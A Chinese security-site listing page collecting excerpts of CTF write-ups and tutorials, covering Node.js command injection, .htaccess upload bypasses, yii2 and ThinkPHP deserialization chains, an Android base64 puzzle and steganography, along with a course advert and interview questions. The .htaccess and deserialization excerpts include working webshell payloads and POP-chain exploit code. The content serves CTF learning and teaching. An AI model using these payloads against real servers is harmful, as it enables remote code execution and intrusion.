从一道 CTF 题看 Node.js 的 prototype pollution attack CTF专场

从一道 CTF 题看 Node.js 的 prototype pollution attack

更多全球网络安全资讯尽在邑安全前言文章的灵感来自于刚刚结束的 DefCamp CTF 2018 上的一道题目,主要的考点是 Node.js 的 prototype pollution attack。因为在 CTF 中 Node.js 的题型较少,同时本人也恰好对其比较感兴趣,所以特地来分析一下这道题的前因后果。题目题目是一个由 Node.js 编写的基于 socket.io 的聊天应用,运行在 https://chat.dctfq18.def.camp 的 80 端口上,我们可以从 https://dctf.def.camp/dctf-18-quals-81249812/chat.zip 下载源码客户端的代码非常简单,分析 client.js 我们可以发现其只是向服务端注册用户并发送消息:const io = require('socket.io-client')const socket = io.connect('https://chat.dctfq18.def.camp')if(process.argv.length != 4) { console.log('name and channel missing') process.exit()}console.log('Logging as ' + process.argv + ' on ' + process.argv)var inputUser = { name: process.argv,};socket.on('message', function(msg) { console.log(msg.from,"", "says:n", msg.message);});socket.on('error', function (err) { console.log('received socket error:') console.log(err)})socket.emit('register', JSON.stringify(inputUser));socket.emit('message', JSON.stringify({ msg: "hello" }));socket.emit('join', process.argv);//ps: you should keep your channels privatesocket.emit('message', JSON.stringify({ channel: process.argv, msg: "hello channel" }));socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));所以我们需要继续审计服务端的代码,可以看到 server.js 中存在着很一个敏感的函数 getAscii,在分析了其对应的代码后,可以发现其中存在着一个很明显的命令注入问题:getAscii: function(message) { var e = require('child_process'); return e.execSync("cowsay...
阅读全文
一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。 CTF专场

一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。

每日分享好工具 BerylEnigma--一个CTF+渗透测试工具包,主要实现功能在加解密和编码这块。 ctf中常见的加解密题目总结:https://blog.csdn.net/qq_41187256/article/details/79693012https://blog.csdn.net/qq_40836553/article/details/79383488https://www.cnblogs.com/dropsaxing/p/5726314.html ctf常见加解密总结: 推荐工具简介: 软件基于JDK16开发,使用JAVAFX UI框架以及JFoenixUI组件架构。   使用界面展示: 目前支持的功能: 加解密/编解码 现代 HTLM-hash JWT 认证 hash SM3 古典 ROT13 栅栏密码 Atbash Vigenre 凯撒密码 编码 URL ASCII Base64 HEX HTML实体编码 Unicode 摩斯电码 数学进制转换 文本操作工具 文本替换 文本分隔 英文大小写转换 文本行拼接 红队用工具 目标整理 域名分割 日常实用工具 货币金额大小写 待办清单 现代加密 - AES,DES 现代加密 - SM2,SM4 现代加密 - HMAC 编码 - XOR 编码 - URL编码增强 文本操作 - 文本去重 日常实用 - Unix时间戳 红队工具 - 目标生成 红队工具 - 字典生成 UI - 弹出式设置框 UI - 输入字符数量 代码 - 全局事件 功能 - 历史记录 功能 - 输出覆盖填充输入 功能 - 选择语言   下载: 链接: https://pan.baidu.com/s/1hgt0iZWdpK7SkwuI8l8I6g 提取码: ujun   欢迎关注 系统安全运维  本文始发于微信公众号(系统安全运维):一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。
阅读全文
CTF中.htaccess文件的利用 CTF专场

CTF中.htaccess文件的利用

CTF中.htaccess文件的利用.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件可以在所在文件夹和子文件下改变php.ini的配置。在CTF的题目中,如果能够上传或者写入一个.htaccess,我们就可以做到比如说绕过WAF,以及文件包含等操作,因为之前打羊城杯看到.htaccess的文件的利用,就想把我自己之前遇到过的各种用法总结一下。.htaccess文件是默认开启的,如果没有启动.htaccess文件的话,需要修改配置文件httpd.conf中的以下两点:把AllowOverride None修改为:AllowOverride All把LoadModule rewrite_module modules/mod_rewrite.so这句话前面的#去掉。.htaccess任意文件解析在CTF中.htaccess文件最常用的地方就是文件上传的题目了,如果题目中使用的是黑名单机制,即限制上传php,pthml,pht等后缀,我们可以使用.htaccess文件重新配置当前文件的解析后缀为其他后缀绕过导致其他后缀的文件被解析为php,就可以导致远程代码执行。AddType比如在upload-labs的第四关就可以使用这种方法绕过,首先是限制了php的后缀,如图所示shell.php不允许上传。但是题目并没有限制.htaccess文件的上传,我们可以上传一个.htaccess文件内容如下:AddType application/x-httpd-php .jpgAddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析 整句话的作用就是让jpg格式的文件解析为php文件。上传完.htaccess文件之后再上传一个写入一句话木马的shell.jpg文件,尝试连接蚁剑。发现已经成功连接上了,说明我们上传的.htaccess文件已经成功让jpg格式的文件解析为php了。AddHandler除了AddType之外还有AddHandler,例如我们想将txt文件后缀解析为php运行,可以在.htaccess中写下以下两行的其中一行。AddHandler php5-script .txtAddHandler php7-script .txt意思是指定扩展名为 .php 的文件应被  php5-srcipt/php7-srcipt 处理器来处理。可以看到写入前后的对比,后者成功把txt文件解析为php文件。一般这种可以配合着其他的语句来使用,比如说Check in的这道题,过滤了如下黑名单:perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet我们可以上传一个.htaccess内容如下,主要让txt文件解析为php文件,再把flag包含进来。AddHandler php5-script .txtphp_value auto_append_file /flag再上传一个1.txt就能加载/flag内容。不过这里涉及到了.htaccess的换行绕过和文件包含,下面都会提到。SetHandler.htaccess文件解析还有另外一种常见写法就是利用SetHandler,文件内容如下:SetHandler application/x-httpd-php这样所有文件都会当成php来解析,如果要指定某一个类型文件的话,可以写<FilesMatch "shell.jpg">    SetHandler application/x-httpd-php</FilesMatch>将shell.jpg解析为php文件,同时这里可以使用正则匹配文件比如:<FilesMatch ".ph.*$">  SetHandler application/x-httpd-php</FilesMatch>就是匹配所有的.ph开头的后缀文件。SetHandler还有一种用法就是在.htaccess写入:SetHandler server-status然后再访问http://ip/server-status即可查看所有访问本站的记录,Check in这道题的官方wp中提到了这种方式去获取信息。htaccess的一些绕过绕过关键字像上面的upload-labs的第四关内容中如果过滤了application关键字,因为.htaccess支持换行编写,我们可以使用反斜杠换行绕过的方法,如AddType application/x-httpd-php .jpg绕过exif_imagetype函数exif_imagetype() 的作用是读取一个图像的第一个字节并检查其签名。比如EasyWeb这道题就有这个函数,关键代码如下$tmp_name = $_FILES;if(!exif_imagetype($tmp_name)) die("^_^");要注意的是通常我们会在上传文件中加上gif的文件头GIF89a去绕过,但是.htaccess文件用这种方法虽然能上传成功,但是无法生效。我们可以在.htaccess文件前面加上。#define 4c11f3876d494218ff327e3ca6ac824f_width xxx(大小)#define 4c11f3876d494218ff327e3ca6ac824f_height xxx(大小)这里的原理其实是伪造为xbm文件,xbm文件是一种图片格式的文件。在php的官方文档中,exif_imagetype()是可以支持xbm类型的文件的。绕过拼接字符比如最近的羊城杯上的一道题目,其中部分代码如下:file_put_contents($filename, $content . "nHello, world");这一题的思路是利用.htaccess文件把恶意代码包含进index.php里面,但是在变量$content后面拼接了一个"nHello, world",这样的话会不符合.htaccess文件的语法,导致服务器报一个500错误,这时候我们可以使用反斜杠先把n转义,再在加入的恶意代码前面加上一个#注释掉后面的内容,这样的话就可以绕过"nHello, world",从而使得.htaccess符合语法。最终payload结果如下:php_value auto_prepend_file .htaccess#<?php system('cat /fla'.'g');?>&filename=.htaccess这里要注意的是在传参的时候都是要url编码的。htaccess的常见用法首先了解一下php_value和php_flag这两个东西php_value:设定指定的值,但不能设定布尔值。php_flag:用来设定布尔值的配置指令。这两个可以用来设置指令的值,使得在 Apache 配置文件内部修改 PHP 的配置,那么这些指令有哪些呢,比如说auto_prepend_file,display_errors等等,具体的话参考官方给出的:php.ini 配置选项列表当然上面说的这两个都是可以用于.htaccess中的,同样功能的还有php_admin_value和php_admin_flag,但是这两个无法用于.htaccess中。下面介绍两个最常见的用法:特殊编码绕过如果对文件内容进行过滤了<?,同时版本php7已经抛弃了<script language='php'>和<%,使得我们无法利用php其他风格的标签去绕过。这里可以考虑在.htaccess中设置UTF-7字符或者其他字符进行绕过。我们可以先上传一个shell.jpg内容如下:#define 4c11f3876d494218ff327e3ca6ac824f_width 1337#define 4c11f3876d494218ff327e3ca6ac824f_height 1337+ADw?php +AEA-eval(+ACQAXw-POST+AFs'cmd'+AF0)+ADs?+AD4-第三句是经过UTF-7编码的,在线UTF-7编码:UTF-7 Encoder我们接下来要做的就是利用.htaccess文件把他进行UTF-7解码我们再写入一个.htaccess文件内容如下:#define 4c11f3876d494218ff327e3ca6ac824f_width 1337#define 4c11f3876d494218ff327e3ca6ac824f_height 1337AddType application/x-httpd-php .jpgphp_flag display_errors onphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"前3行在上面已经讲过,这里不再赘述。第4行中的php_flag,后面跟着display_errors on,本句的作用是关闭错误提示,也就是差不多相当于error_reporting(0);第5行中的php_flag,把zend.multibyte的值设置为1,原因是在使用 UTF-7、SJIS、BIG5 等在多字节字符串数据中包含特殊字符的字符编码是要启用zend.multibyte的,如果是UTF-8编码的话则不需要这个选项。最后一句是关键点了,php_value中设置了zend.script_encoding "UTF-7",本句的作用是对上传的文件进行一个UTF-7的解码。这里我直接在本地phpstudy直接写入.htaccess和shell.jpg,测试了一下是可行的。要注意的是,在本地phpstudy写入.htaccess文件的话,php的版本要选择不带nts的。在EasyWeb这道题里面就可以用到这个方法,但不局限于这种,在看其他师傅的writeup中,发现本题也可以通过设置utf-16be来进行绕过,这里借用一下网上的一键生成.htaccess脚本。SIZE_HEADER = b"nn#define width 1337n#define height 1337nn"def generate_php_file(filename, script):    phpfile = open(filename, 'wb')    phpfile.write(script.encode('utf-16be'))    phpfile.write(SIZE_HEADER)    phpfile.close()def generate_htacess():    htaccess =...
阅读全文
CTF选手是如何变“胖(PWN)”的? CTF专场

CTF选手是如何变“胖(PWN)”的?

这是一场紧张的比赛,现场激情解说:“SP的战队率先发起攻击,可惜被K&K战队以三行代码轻松拦截!”“哇哦,SP战队依旧紧追猛打,在几秒之内就找到了对方漏洞所在,极速完胜对手!”“天哪,SP战队再次找到K&K服务器防御漏洞!”电视剧为了渲染效果,喜欢把CTF搞得跟电子竞技比赛一样,如果你真以为CTF比赛就是电视剧中“现男友”展现的这样:(图片来源于某电视剧截图)还有这样:(图片来源于某电视剧截图)那就大错特错了!CTF比赛并不是一个电竞项目,真实的CTF是这样的:(图片来源于XNUCA比赛现场图)真正的CTF赛事与一般的电竞赛事相比较具有更高的专业性和技术性,CTF赛事本身具有一定的门槛性。CTF,它最初的源头是全球黑客大会。这也就是说,参加比赛的选手,不是职业电竞选手,而是真正的职业竞技黑客,他们比拼的是各自作为黑客的技术。如果说电竞选手是在规定好的框架内比拼技术,而黑客却是能够突破程序限制,自由攻占服务器的游戏制定者。什么是CTF?CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。 (图片来源于网络)CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,CTF已经成为全球范围网络安全圈流行的竞赛形式。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。什么是PWN?PWN在黑客俚语中代表着攻破,获取权限,发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。“PWN”自“own”这个字引申出来,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下。有一个非常著名的国际赛事叫做Pwn2Own。 (图片来源于网络)在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能力。所需基础:大学计算机基础、c语言、汇编语言、操作系统等。CTF中的PWN题型通常会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取Flag。为什么要学CTF?1刺激!成就感爆棚“惊退万人争战气”“衔得锦标第一归”!当你夺得“一血”拿下比分,完美突破对手的防线,成功抵御“敌人”的进攻,这种来自竞技的魅力让人热血沸腾。如果想感受竞技比赛的刺激、体会技能比拼的成就感和趣味性,CTF就是一个很好的选择。2合理合法的练习环境随着《网络安全法》的公布,实网安领域刚入门的小白越来越难找到真、合法的环境来训练自己的技能。CTF的出现,正好弥补了这个空白,为大家提供了一个合理又合法的练习环境。3拓展安全知识面CTF的题目一般由多个知识点相互糅合,相对来说目标性比较强。CTF对网安人员的意义还在于拓展了从业者安全知识面,以及获得通过实战式应用所学到的安全知识。工作中遇到的有些问题可以用 CTF中涉及的知识解决。4奖金丰厚CTF赛事的奖金很可观。打CTF比赛不仅能挣钱,还能充分展示自己的技术水平,树立个人在网安业界的影响力。国内部分CTF奖金设置(数据来源于网络)5名企招聘看重的经历目前,相关企业招聘普遍看重CTF大赛获奖经历,安全名企大厂也经常会通过组织CTF竞赛发现人才,收揽人才。(图片来源于某招聘网站)在学习CTF的过程中,你是否遇到了这样的情况:下定决心想要学习CTF,不知道从哪里开始?找了一堆CTF相关的知识学习,但是知识点太凌乱,没有系统的学习规划。理论知识学了不少,想学CTF PWN技能,但没有实操演练环境。针对想要入门CTF PWN的相关专业在校学生,以及希望通过学习和实训,可以独立实操解决一些CTF PWN题目的CTF初学者,蚁景网安特推出CTF实战讲师内训课——CTF PWN实战技能特训班。讲师介绍:课程导师-s3cunDaCTF-PWN课程核心负责人前Lilac战队成员参与过多次CTF比赛擅长CTF领域的PWNpwnable.tw Ranked 75th6周学习,你可以收获什么?01掌握30+ CTF PWN实战技能,为参加CTF实战比赛打好基础。课程涵盖CTF PWN技能基础,包括汇编语言、ELF文件格式、LINUX延迟绑定机制、函数调用流程、栈溢出原理以及利用、ROP编写、LINUX动态内存管理机制、堆漏洞分析与利用、iofile利用手法、线下赛AWD模式的patch技巧等。0220+随堂实战训练&30+课后实操作业,切实提升CTF PWN实战能力。课程提供20+随堂实战训练,以及30+课后实操作业,确保学员“听课1 小时,实战4小时”,通过课程实战训练切实提升CTF PWN技能应用能力。03畅学1400+网安靶场实验,提升多方面网安实操技能。可在合天网安实验室畅学1400+网安实验,包括CTF赛前指导、漏洞挖掘与利用、最新网安漏洞复现、网安工程师职业技能学习等,学习形式包括:虚拟实验机、指导书、视频等,让你从多方面提升,真正成为企业所需的网安实践技能人才。具体学些什么?为什么选择我们?理由一:一个机遇——名企岗位内推通过毕业考核的学员,颁发优秀学员证书,获得知名安全企业至少3次以上的内推机会。理由二:一个保障——开课前随时退如果你购买了课程,但是觉得课程不适合你,可在开课前无条件退款理由三:一套服务——开课到结课再到就业,一整套服务在线直播、高清录播、6周集训、CTF实战分享、合天网安实验室2个月畅学会员(价值278元)、班主任1V1陪读、职业辅导、简历指导、200家安全企业内推。理由四:独家“特训班”模式:1、全程直播实战精讲全程直播实战精讲+高清录播永久可看,绝无一笔带过,每个知识点、实战演示、代码敲写等学员都可针对性提问。2、随堂实战练习+课后实操作业巩固每节课老师都会带大家进行随堂实战练习,课后设置实操作业加以巩固,结课设置毕业考核,帮你查缺补漏,确保学员学习效果最大化。3、专属班主任全程教学服务班主任1V1督学点评,每天考核学员到课率,帮助你一起应对日常那些散漫状态、懒惰本能和畏难情绪,拉开你和同水平学员之间的差距。4、就业推荐服务通过毕业考核的学员,颁发优秀学员证书,并获得至少3次知名安全企业岗位内推机会。如学员有需求,还可免费加入下一期学习。厉害了!你竟然读到了这里,那就送个福利给你吧:扫描加微信,立即领取4节CTF PWN免费试听课! 👆扫码添加班主任👆戳“阅读原文”马上开启CTF世界! 本文始发于微信公众号(合天网安实验室):CTF选手是如何变“胖(PWN)”的?
阅读全文
通过几道CTF题学习yii2框架 CTF专场

通过几道CTF题学习yii2框架

原创稿件征集邮箱:[email protected]:3200599554黑客与极客相关,互联网安全领域里的热点话题漏洞、技术相关的调查或分析稿件通过并发布还能收获200-800元不等的稿酬简介Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架Yii2<2.0.38反序列化安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本然后在 yii-basic-app-2.0.37basicconfigweb.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器yii-basic-app-2.0.37basiccontrollersTestController.php<?phpnamespace appcontrollers;use yiiwebController;class TestController extends Controller{ public function actionTest($name){ return unserialize($name); }}就可以进行测试了?r=test/test&name=链一链的入口在yii-basic-app-2.0.37basicvendoryiisoftyii2dbBatchQueryResult.phppublic function __destruct(){ // make sure cursor is closed $this->reset(); }跟进$this->reset();public function reset(){ if ($this->_dataReader !== null) { $this->_dataReader->close(); }这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了在yii-basic-app-2.0.37basicvendoryiisoftyii2-giisrcGenerator.phppublic function __call($method, $attributes){ return $this->format($method, $attributes); }这里的$method为close,$attributes为空,继续跟进formatpublic function format($formatter, $arguments = array()){ return call_user_func_array($this->getFormatter($formatter), $arguments); }跟进getFormatterpublic function getFormatter($formatter){ if (isset($this->formatters)) { return $this->formatters; }似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空到这里可以执行phpinfo了<?phpnamespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } }}namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } }}namespace { $a =...
阅读全文
【偶尔一道ctf】xctf adword mobile easy-apk CTF专场

【偶尔一道ctf】xctf adword mobile easy-apk

最近在学习ctf,偶尔会做一些ctf题,打算记录下做题的步骤和思路,打算学习ctf的小白可以跟着一起动手学习。本题是安卓题目。题目apk下载地址https://adworld.xctf.org.cn/media/task/attachments/989ca07c3f90426fa05406e4369901ff.apk下载完后,重命名为 easy-apk.apk。使用 jeb 反编译,本次使用的是 jeb 3.19 ,网上有破解版本下载,也可以在公众号回复 jeb 获取把 apk 文件拖到 jeb 窗口中进行反编译反编译完成后,点击 MainActivity 查看主界面的代码逻辑。反编译显示的代码默认是 smail 代码,可读性不高,先转换为 java 代码,点击下图所示图标,转换成 java 代码。代码如下代码中通过 EditText 的 getText() 方法获取了输入框的文字,然后进行base64 编码后和 5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs= 进行比较,如果一致,则验证通过。猜想 flag 就是 5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs= 解码后的内容。直接在网上找个在线解码 base64 的网站,发现解码后是乱码https://www.base64decode.org/再看看代码中的 base64 是怎样编码的,双击 Base64Encode 方法,查看相应代码。可以看到这里是一个使用了自定义索引表的 base64 编码算法。这里简单说下 base64 编码的原理,在参数传输的过程中经常遇到的一种情况:使用全英文的没问题,一旦涉及到中文就会出现乱码情况。与此类似,网络上传输的字符并不全是可打印的字符,比如二进制文件、图片等。Base64的出现就是为了解决此问题,它是基于64个可打印的字符来表示二进制的数据的一种方法。base64 编码后的数据只会是下面索引表中的64个字符。第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。第二步,将上面的24个二进制位每6个一组,共分为4组。第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。第四步,这四个字节的值根据Base64编码对照表(上图)获得对应的值如果字节数不足三个,则在后面补=号例如二进制值为 1、2、3 的3个数据,转换成 base64 编码的过程如下//二进制值00000001,00000010,00000011//将上面的24个二进制位每6个一组,共分为4组。000000,010000,001000,000011//在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。00000000,00010000,00001000,00000011//这四个字节的值根据Base64编码对照表(上图)获得对应的//对应的十进制数分别为0,16,8,3//查表得0 -> A16 -> Q8 -> I3 -> D// base64 编码后的结果是AQID在题目中,该 base64 编码使用了自定义的索引表,如使用 v 代替 A,w 代替 B 。那么我们需要换回去,再进行正常的 base64 解码。自定义编码后的值如下,5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs=如 r 字符为例,r 字符为自定义索引表的第4个字符,对照原来的索引表是 D,所以要把 r换成 D。其它字符同理,可以使用下面 python 代码进行转换,并求出 flag#coding=utf-8import base64import stringstr1 = "5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs="string1 = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/"string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"str2 = str1.translate(str.maketrans(string1,string2))print("转换后的字符串:" + str2)print("flag:" + str(base64.b64decode(str2)))flag值为: 05397c42f9b6da593a3644162d36eb01 本文始发于微信公众号(SecPulse安全脉搏):【偶尔一道ctf】xctf adword mobile easy-apk
阅读全文
一点面试题 安全闲碎

一点面试题

0x00 前言趁前段时间校招投了点岗位...0x01 安服校招一面:1.介绍一下自己的学校、专业情况、学校成绩、排名这些2.学习安全多长时间了3.现在的学习方向4.说说你对未来的规划5.在校期间有没有打过ctf 挖过src6.说说你的项目经历7.说说你的实习经历8.为什么选择我们这家公司9.拿到一个站点的渗透思路大概就这些,正常回答就好了。二面:1.自我介绍 2.学习安全是自学还是报班学3.有没得打过ctf 和挖过src4.有没有运维经验(这里因为我简历上写了熟悉Windows和Linux的运维,翻车了,也面试过好几次了,但也从来没问过运维 哈哈哈,已经把简历改过来啦)5.基础的web漏洞原理,sql注入的分类,存在点,怎么判断,怎么利用,遇到了waf怎么绕过6.xss问的比较多,分类,三种xss不同的区别,存在的位置,怎么绕过waf (后来才知道绿盟的扫描器大部分都是扫出来的xss,哈哈哈,怪不得问这么多xss)7.对逻辑漏洞了解多少,遇到一个有验证码的登录框,存在找回密码功能,你有什么想法8.http 数据包的结构9.文件上传的绕过思路,绕过waf10.谈谈你的项目经历11.你印象最深的渗透经历是哪次12.会什么语言,写过什么东西13.Java安全了解吗(这里我直接说了对Java安全不了解,不然后续应该会问)shiro 、fastjson、weblogic反序列化的原理,还问了你碰到shiro 、weblogic这类站点怎么处理(我直接exp 哈哈哈)14.渗透过程中常见的端口号以及对应的服务15.内网渗透经历,详细说下过程,渗透思路16.拿到webshell发现目标主机不出网怎么办17.有没有复现过一些漏洞18.会不会关注最新的安全资讯19.说一下通配符注入20.内网中横向的常用方法21.说一下你是怎么做免杀的(我刚说完无源码的免杀,就问我下一个问题了……我都还没说完……)22.对域前置技术了解多少23.目前的研究方向,未来的研究方向,规划24.有没有代码审计能力25.怎么找越权漏洞,常见的参数0x02 某大厂红蓝实习一面:简单介绍一下你熟悉的领域为什么想从web转二进制讲一下你在实习期间做的事情你有打下过哪些站点介绍一下常见的绕过waf的姿势fastjson反序列化漏洞有了解过吗对php反序列化了解的多吗php中常见的造成RCE的函数有哪些php的伪协议有了解吗介绍一下ssrf的原理、利用及防护之前渗透的时候遇到过比较精彩的洞或者过程吗你说过外网 web的漏洞很多都已经修复了,那你的攻击面有哪些你有考虑过从移动端打点吗你知道怎么从app抓包吗但是现在安卓会校验证书,抓不到https的包怎么办小程序的包你抓过吗你这边开学可以来现场实习吗预期实习时间是多长你有什么想问我的吗二面:日常自我介绍介绍一下你做过的项目经历,是授权的吗你怎么定位域控的你有参与过一些有代表性的项目吗,你在项目中担任什么角色你有什么擅长的领域吗外网打点的思路,案例外网打点有哪几种漏洞你可以利用反序列化漏洞了解吗shiro了解吗,怎么判断这个站是shiroJava站其他的业务是部署在反代后面的,你怎么识别反代小程序、app、公众号这些有测试过吗,说一下相关经历小程序、公众号的后台可能是fastjson、shiro 这些你有遇到过吗app会抓包是吧,app逆向做过吗你有过通过app、公众号分析到外网的经历吗你实习主要是做什么我看你简历写的熟悉这些协议,你能讲讲吗,https协议等等你python什么水平,有能说的一些项目吗c语言你了解吗为什么要深入研究c和cpp,搞web是不太需要c语言的你是怎么规划你学习web和二进制的时间的你现在对底层原理有哪些了解你怎么绕过杀软你有什么想问我的你实习是可以来现场是吗,实习时间大概是什么时候接着就是hr,然后走流程,接近一个月拿到offer~0x03 某甲方安全工程师校招介绍下自己熟悉的渗透领域你会什么语言,能写什么东西你在上一家实习公司的主要工作内容是什么,说一下流程上家公司是乙方是吧,最后需要写报告吗,需要提出解决方案吗说一下渗透的流程你sql注入常用的工具,或者说手工结合工具你经常用扫描器吗,为什么很少用你渗透过程中碰到过waf吗,遇到了怎么办作为乙方,你认为有waf的渗透测试和没有waf的渗透测试哪个好你遇到过的注入的种类堆叠注入和联合查询的不同点sqlmap想要看到更详细的信息需要什么命令,怎么看返回的响应包sqlmap  --os-shell的原理注入拿shell的条件Oracle、Mssql、MySQL注入的不同点,区别在哪上传绕过的方法说一下常见的逻辑漏洞修改密码有5步,说一下你找逻辑漏洞的思路你burp用的什么版本,是破解版的吗(实在不明白为啥问我这个,难道是公司都用正版的么)扫描器会用吗你还有其他的什么技能内网的渗透思路你碰到的内网是idc还是办公网(当时不知道idc是啥,随便答了个IDC,尴尬,后面面试官就直接说数据中心hhhh)你常用的免杀方法你觉得免杀在甲方有用吗(emmm雀食)你了解的防火墙有哪些注入的防护方法csrf的防护方法token加到哪里,加在cookie里会怎么样,加不加在cookie里区别在哪,为什么加token可以防护csrf如果不加token的话,只加验证码可以防护csrf吗,说一下你的理解如果你找到了一个业务的漏洞点,你要和开发沟通去修复,但是开发不想修复,你怎么和开发沟通,开发说这个软件已经发布了,现在才告诉漏洞点,为什么不提前告诉,你怎么办开发并不懂安全,也不了解漏洞的原理,他要你只告诉他怎么写代码,你怎么和他沟通,他要你教他怎么写代码怎么办(????搞开发的不会写代码难道让搞安全的写么 hhhhhh)sql注入到的数据库都是明文怎么办,比如说姓名,手机号,身份证需要怎么处理des、aes加密算法说一下用户上传身份证这里你觉得需要注意什么(作为一个甲方人员)上传的身份证图片怎么防止审核员工偷偷保存如果他截屏或者右键保存怎么办,怎么防止上传的图片本身怎么处理(这里确实了解的很少,可以简单的加水印,明水印和暗水印)怎么对审核人员的权限进行限制,比如说超级管理员、管理员、客服人员等如果这个员工调去了另一个部门,但是他还有以前部门的权限,这时需要回收他的权限吗,你怎么知道他不在这个部门了呢给你一个系统,你怎么渗透测试对这套系统怎么进行风险评估,给出解决方案,修复方案你还有什么想问的吗我们公司经常加班,可以接受加班吗0x04 某实验室渗透岗校招岗位是打击黑灰产。经典的自我介绍讲讲实习的时候打过的目标讲一下什么是文件包含redis未授权利用讲一下有钓鱼经验吗,举个例子有社工溯源经历吗,讲讲你理解的社工一台服务器getshell后你会干什么dumphash有利用过吗,讲一下,讲几种dumphash的方法病毒远控的免杀有多少了解你改免杀的时候一般会改哪些地方杀软经常查杀的敏感函数有哪些讲一下你做过的免杀内网渗透的思路有挖过一些漏洞吗,讲一下你挖的那几个漏洞有什么想问我的吗面了这么多...最后只拿到一个offer...... 原文始发于微信公众号(亿人安全):一点面试题
阅读全文
【wp】ctf-2021春秋杯 CTF专场

【wp】ctf-2021春秋杯

ctf-2021春秋杯easy_filter<?phpnamespace think{ abstract class Model{ protected $append = ; private $data = ; function __construct(){ $this->append = ; $this->data = ; } } class Request{ protected $hook = ; protected $filter = "system"; protected $config = ; function __construct(){ $this->filter = "system"; $this->config = ; $this->hook = ; } }}namespace thinkprocesspipes{ use thinkmodelconcernConversion; use thinkmodelPivot; class Windows{ private $files = ; public function __construct(){ $this->files=; } }}namespace thinkmodel{ use thinkModel; class Pivot extends Model{ }}namespace { use thinkprocesspipesWindows; // echo base64_encode(serialize(new Windows())); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Windows(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt",...
阅读全文
CTF Stegano练习之隐写初探 CTF专场

CTF Stegano练习之隐写初探

今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。1、TrIDTrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。2、AudacityAudacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。这个实验还需要了解一些摩尔斯电码。摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。实验内容和步骤本次实验链接地址:《CTF Stegano练习之隐写1》来看实验描述:在实验主机上的C:Stegano1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。来看实验打开cmd命令行,切换到C:Stegano1目录,然后使用TrID对其进行文件类型识别,如图所示: TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示: 